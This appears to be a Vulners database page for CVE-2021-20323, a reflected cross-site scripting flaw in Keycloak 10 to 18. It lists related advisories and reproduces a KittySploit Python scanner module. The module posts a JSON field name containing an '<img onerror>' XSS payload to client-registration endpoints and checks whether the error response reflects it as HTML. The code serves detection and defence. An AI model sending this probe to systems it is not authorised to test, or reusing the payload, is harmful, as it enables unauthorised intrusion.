Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| Exploit for Cross-site Scripting in Redhat Keycloak | 30 Dec 202023:52 | – | githubexploit | |
| Exploit for Cross-site Scripting in Redhat Keycloak | 7 Dec 202221:15 | – | githubexploit | |
| Exploit for Cross-site Scripting in Redhat Keycloak | 11 Jan 202416:02 | – | githubexploit | |
| CVE-2021-20323 | 25 Mar 202219:15 | – | attackerkb | |
| The vulnerability of the software for managing identities and access control in Keycloak arises from the lack of measures taken to protect the structure of web pages. This allows attackers to execute arbitrary code. | 14 Sep 202300:00 | – | bdu_fstec | |
| CVE-2021-20323 | 25 Mar 202221:30 | – | circl | |
| Red Hat Keycloak 跨站脚本漏洞 | 25 Mar 202200:00 | – | cnnvd | |
| CVE-2021-20323 | 25 Mar 202218:03 | – | cve | |
| CVE-2021-20323 | 25 Mar 202218:03 | – | cvelist | |
| Security Bulletin: Multiple security vulnerabilities in IBM Business Automation Manager Open Editions | 14 Apr 202615:53 | – | ibm |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Keycloak 10."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting Detection',
'description': "Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'keycloak', 'xss', 'redhat', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j',
'https://bugzilla.redhat.com/show_bug.cgi?id=2013577',
'https://access.redhat.com/security/cve/CVE-2021-20323',
'https://github.com/ndmalc/CVE-2021-20323',
'https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d',
],
'cve': 'CVE-2021-20323',
}
def run(self):
for path in ('/auth/realms/master/clients-registrations/default', '/auth/realms/master/clients-registrations/openid-connect', '/realms/master/clients-registrations/default', '/realms/master/clients-registrations/openid-connect'):
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json'}, data='{"Test<img src=x onerror=alert(document.domain)>":1}')
if not r or r.status_code != 400:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('Unrecognized field "Test<img src=x onerror=alert(document.domain)>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason='Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting detected',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24.3
CVSS 3.16.1
EPSS0.37246